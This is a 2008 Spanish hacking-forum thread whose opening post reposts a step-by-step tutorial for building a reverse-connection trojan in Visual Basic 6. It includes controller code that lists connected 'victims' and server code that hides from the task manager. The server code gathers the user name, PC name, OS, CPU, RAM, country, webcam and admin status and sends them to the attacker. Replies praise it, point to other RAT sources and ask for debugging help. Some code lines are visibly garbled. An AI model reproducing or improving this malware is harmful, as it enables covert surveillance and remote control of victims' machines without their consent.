• Manuales

 #34806  por HacKDarK
 26 Nov 2008, 00:52
Aclaro: No es mi tuto, solo lo encontrte por hay

Tutorial : creacion de troyano de conexion inversa en vb6
En este apartado vamos a aprender a crear un Troyano de conexión inversa en VB 6.
La conexión inversa, es la victima la que se conecta a ti, contrario de los de conexión directas en que eres tu quien se conecta a la victima.
Con esto podemos tener a varias victimas a la vez y no de una en una y además si están detrás de un router funcionará Giñar
Bueno empecemos por crear un nuevo proyecto.
Vamos a Proyecto>Componentes y marcamos los siguientes controles:

-Microsoft Windows Common Controls 5.0 (con el 6.0 al Listview no se le puede aplicar estilo XP).
-Microsoft Winsock Control 6.0

Ahora pasamos a insertar los componentes necesarios, esto puede variar según cada uno, como le guste etc…
Vamos a añadir el Listview que es este control:


En nombre, yo le puse LV
En el cuadro propiedades, en personalizado debéis tenerlo así:

Imagen

Nos vamos a encabezados de columna, y añadimos las siguientes columnas:
-Nombre
-IP
-Nick/Nombre PC
-S.O
-RAM
-Pais
-CPU
-Cam
-Admin
-Version

Bueno esto es a gusto, yo lo haré así, ustedes como vean.
El tamaño también lo ajustan al gusto(el ancho de cada columna).

Bueno ,el aspecto(en ejecución, después de ser compilado y agregado el estilo XP)debería ser parecido a este:

Imagen
Como dije , ustedes pónganle las opciones que quieran…
Ahora vamos a añadirle un Label, que abajo, donde nos mostrará el estado y eso.
En Borderstyle, pónganle FixedSingle.
Ahora añadan al formulario el control Winsock:


Y en la propiedad nombre pónganle WS(por comodidad….).
Y en Index pónganle el valor 0.
Un Timer interval a 1.
Añádanle un menú, vayan a Herramientas>Editor de Menús.
En caption Escriban Menú, y en name igual. Desmarquen la propiedad Visible.
Luego denle insertar, denle a la flecha que va hacia abajo, y luego a la flecha que va apunta a la derecha. Y en caption pongan "Cambiar Nombre" y de nombre "Name".
Esto es lo que deberían tener:

Imagen




[Tutorial] Creacion de troyano de conexion inversa
« : Hoy a las 12:08 »

Tutorial : creacion de troyano de conexion inversa en vb6
En este apartado vamos a aprender a crear un Troyano de conexión inversa en VB 6.
La conexión inversa, es la victima la que se conecta a ti, contrario de los de conexión directas en que eres tu quien se conecta a la victima.
Con esto podemos tener a varias victimas a la vez y no de una en una y además si están detrás de un router funcionará Giñar
Bueno empecemos por crear un nuevo proyecto.
Vamos a Proyecto>Componentes y marcamos los siguientes controles:

-Microsoft Windows Common Controls 5.0 (con el 6.0 al Listview no se le puede aplicar estilo XP).
-Microsoft Winsock Control 6.0

Ahora pasamos a insertar los componentes necesarios, esto puede variar según cada uno, como le guste etc…
Vamos a añadir el Listview que es este control:


En nombre, yo le puse LV
En el cuadro propiedades, en personalizado debéis tenerlo así:


Nos vamos a encabezados de columna, y añadimos las siguientes columnas:
-Nombre
-IP
-Nick/Nombre PC
-S.O
-RAM
-Pais
-CPU
-Cam
-Admin
-Version

Bueno esto es a gusto, yo lo haré así, ustedes como vean.
El tamaño también lo ajustan al gusto(el ancho de cada columna).

Bueno ,el aspecto(en ejecución, después de ser compilado y agregado el estilo XP)debería ser parecido a este:



Como dije , ustedes pónganle las opciones que quieran…
Ahora vamos a añadirle un Label, que abajo, donde nos mostrará el estado y eso.
En Borderstyle, pónganle FixedSingle.
Ahora añadan al formulario el control Winsock:


Y en la propiedad nombre pónganle WS(por comodidad….).
Y en Index pónganle el valor 0.
Un Timer interval a 1.
Añádanle un menú, vayan a Herramientas>Editor de Menús.
En caption Escriban Menú, y en name igual. Desmarquen la propiedad Visible.
Luego denle insertar, denle a la flecha que va hacia abajo, y luego a la flecha que va apunta a la derecha. Y en caption pongan "Cambiar Nombre" y de nombre "Name".
Esto es lo que deberían tener:



Acepten.
Bueno vamos a ver un poco de codigo:

CLIENTE

Código

Código:
GeSHi (vb):
Public total as integer
Private sub form_load() 'al cargar el formulario
WS(0).LocalPort = 2300 'escuchamos en el puerto 2300
'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se
'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo
WS(0).Listen 'Nos ponemos a la escucha
Label1.Caption = "Escuchando en el puerto " & "2300"
total = 0 'la variable totalindex sea 0
End Sub
Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To lv.ListItems.Count 'bucle que recorre todos lso elementos del listview
marca = Split(lv.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
lv.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "Troyanito - " & lv.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el nº de conectados
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
WS(Index).Close 'cerramos la conexion
WS(Index).Accept requestID 'aceptamos la peticion
Load WS(total)
WS(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado
'se hizo conexion con ese indice asique le sumamos 1 para aceptar nuevas)escuhamos con ese indice
End Sub
Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If lv.selectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se pulsó el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub
Private Sub name_click() 'al clicar en change name(de nombre name)
lv.StartLabelEdit 'que podamos editar el nombre
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String)’despues de cambiar el nombre
WS(lv.SelectedItem.Index - 1).Senddata "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos as string
Dim data() as string 'array
WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
Data=Split(datos,"|")’partimos la variable datos por el identificador "|",para separar datos
Select case Data(0)’según lo que contenga .Data(0) es el primer dato,usaremos eso como identificador
Case "Conexion"
….
End select
End Sub


Bueno, eso lo dejamos así, porque primero tenemos que poner código en el servidor, luego modificaremos esa parte.
Ahora abran un nuevo proyecto, este será el server, añádanle también el Winsock y de nombre también WS,el aspecto nos da igual ya que no se verá
Y un timer, enabled true e interval 1.
Un picture1.

SERVIDOR

Código

Código:
Dim victima as string,name1 as string,so as string,ip as string,port as string
Dim webcam as string,pais as string ,tor as string,nombrepc as string,procesador as string
Dim admin as boolean
Private Sub form_load()
On error resume next
Open Environ("windir") & "KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName")’esta variable contendrá el nombre del pc
name1 = Environ("UserName")’el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProductname")’el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan….
procesador = yo.regread("HKEY_LOCAL_MACHINEHARDWAREDESCRIPTIONSystemCentralProcessor
ProcessorNameString") 'júntenlo, es k no cabía, es para el procesador....
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
Me.visible=false 'para que no se vea el form….
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hwnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&))’para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la función para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque falló la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'función para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function
Private Sub Timer1_Timer()
If WS.State <> 7 Then 'si no estamos conectados
WS.Close 'cerramos
End If
End Sub
Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
WS.GetData datos 'los recibimos
Data=split(datos,"|")
Select case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambió
Close #1
End select
End sub

Bien, hemos visto que enviamos información al conectarse, ahora en el cliente, la recibimos y la mostramos:

CLIENTE

Código
Código:
Case "Conexion"
Dim x As ListItem
Set x = lv.ListItems.Add(, Index & "|", data(1)) 'añadimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que añadimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(Cool
x.SubItems(Cool = data(9)
x.SubItems(9) = "v.1"
End Select

Voy a explicar un poco eso de split y arrays:
Nosotros enviamos esto:
Conexión|Minombre|127.0.0.1|mascotas….
Entonces lo que hacemos es partirlo, y almacenarlo en un array(en data).
De manera que data(0) es lo primero, en este caso "Conexión",por eso se hace Select Case data(0) porque lo usamos como identificador.
Data(1) lo siguiente "Mi nombre" y así sucesivamente….
Espero que les haya gustado, se que no me explico muy bien pero bueno…
Si hay fallos notifíquenmelo!
Puede ser porque lo hice rapidito ^^
Resultado :

Imagen

Que les sea util, saludos.

EDITO: Sharki, mira el tuto lo saque de otro foro, (portalhacker) si queres el link te lo paso, y en teoria el autor ni siquiera es "el autor" , simplemente no me calente mucho justamente por ese motivo.

Pero para verte feliz.... Autor: Carlmycol

HacKDarK
Última edición por HacKDarK el 26 Nov 2008, 19:17, editado 1 vez en total.
 #34867  por shark0
 26 Nov 2008, 16:37
Se agradece este gran aporte..
Pero pon la fuente : (code-makers) y su autor.
 #34880  por gatok47
 26 Nov 2008, 18:50
Gracias excelente post.

Saludos
 #35584  por Cold
 01 Dic 2008, 04:23
Es parecido al Octopus O no?
 #35623  por rodolfocde
 01 Dic 2008, 10:32
jajajaja no es tan parecido al de sharki
muy buen manual
voy a ponerme a crear uno muy pronto
salu2
 #35653  por shark0
 01 Dic 2008, 17:20
ColdBath escribió:Es parecido al Octopus O no?
Jaja que cabron.. xD la verdad que cuando empezé a hacerlo cogi la base de aqui.
Me ayudó mucho.

Saludos!
 #35709  por blacklaptop
 01 Dic 2008, 23:38
Me tira el server un error en :

capCreateCaptureWindow..
 #38196  por rodolfocde
 15 Dic 2008, 07:16
HacKDarK escribió:Aclaro:Ahora pasamos a insertar los componentes necesarios, esto puede variar según cada uno, como le guste etc…
Vamos a añadir el Listview que es este control:


En nombre, yo le puse LV
En el cuadro propiedades, en personalizado debéis tenerlo así:

Imagen

donde esta para cambiar esas propiedades
no encuentro
 #38390  por sentret
 16 Dic 2008, 03:08
El manual esta a mi punto de vista mas orientado para que alguien haga copy paste y ya! no para aprender, por que no te detalla para que sirve cada cosa...
alguien sabe como hacer que en vez de usar el .ocx para usar winsock api? para que no necesite ninguna dll ni ningun ocx?
 #38397  por outis
 16 Dic 2008, 03:52
sentret escribió:alguien sabe como hacer que en vez de usar el .ocx para usar winsock api? para que no necesite ninguna dll ni ningun ocx?
Pasate a Delphi, no tendras necesidad de usar ningun .ocx o dll externos y el control de sockets lo tendras mucho más claro usando los componentes Indy. Ademas puedes contar con sources bien comentados y al alcance de todos como Coolvibes RAT, y con sus creadores que son parte del foro.
Seguro algun día volveremos a profundizar en el proyecto, pero esta vez pensando en los que apenas comienzan.
Es una propuesta que estara en desarrollo para el año que viene...
 #38410  por sentret
 16 Dic 2008, 04:52
Gracias por la sugerencia :P jejeje, pero tengo años que no programo, hace como 4 o 5 años y mmm.. tengo nociones basicas de vb y ps ahorita no me gustaria mucho involucrarme con un sistema que creo que aunque es muy parecido tendria que aprender...

De cualquier forma si alguien sabe, se los agradeceria mucho.

y gracias a ti y todos los demas del foro ;)
 #40166  por rodolfocde
 23 Dic 2008, 06:24
muy buenooo!!! saludos
 #40189  por bacardi-seven
 23 Dic 2008, 10:19
Gracias tio
 #42196  por ShiveR
 31 Dic 2008, 13:03
Por que me tira un error en:
Código: Seleccionar todo
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hWnd, 0)